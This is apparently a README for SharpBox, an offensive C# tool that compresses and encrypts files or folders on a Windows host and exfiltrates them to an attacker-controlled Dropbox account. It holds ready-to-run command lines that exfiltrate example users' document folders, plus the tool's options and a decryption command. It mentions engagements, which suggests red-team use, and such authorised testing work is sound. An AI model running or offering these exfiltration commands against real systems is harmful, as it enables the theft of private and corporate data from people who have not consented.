Home

Awesome

SharpBox

SharpBox is a C# tool for compressing, encrypting, and exfiltrating data to Dropbox using the Dropbox API.

Compiling

Target Framework: NET3.5

The libraries added via NuGet for this project were:

Usage

Log into your Dropbox account and head over to the Dropbox developer API explorer page and get an oauth access token by clicking "Get Token". These access tokens do not expire, but you can revoke them. So I would recommend revoking tokens after being used on engagments.

Example:

SharpBox.exe -f "C:\Users\LegendaryJasonJF\Documents\management-docs" -t "DROPBOX-OATH-ACCESS-TOKEN-HERE" -o "C:\Users\Public\Archive.zip"

SharpBox.exe -f "C:\Users\Meatball\Documents\rip-doc.txt" -t "DROPBOX-OATH-ACCESS-TOKEN-HERE" -o "C:Users\Meatball\Desktop\rip.zip"

SharpBox can Zip a single file or folder of items. The compressed file is then encrypted with a randomly generated password and uploaded to Dropbox. The password is output to the console. Copy the password and use with the "password" argument when decrypting.

SharpBox 1.1.0
Copyright c  2021 Pickles
Usage: SharpBox <options>

      -f, --path                   Required. path to the file or folder you wish to
                                   compress the contents of

      -o, --OutFile                Name of the compressed file

      -t, --dbxToken               Dropbox Access Token

      -h, --dbxPath                (Default: /test/data) path to dbx folder

      -d, --decrypt                (Default: False) Choose this to decrypt a zip or
                                   cabbed file previously encrypted by this tool.
                                   Requires original password argument.

      -p, --decryption-password    Password to decrypt a zipped or cabbed file.

      --help                       Display this help screen.

Once the compressed/encrypted file is downloaded from Dropbox, you can use this tool to decrypt it as well.

Example:

SharpBox.exe -f "C:\Users\evilDude\Desktop\data" -o "C:\Users\evilDude\Desktop\decrypted-data.zip" -p "RandomlyGeneratedPassword" -d

Acknowledgements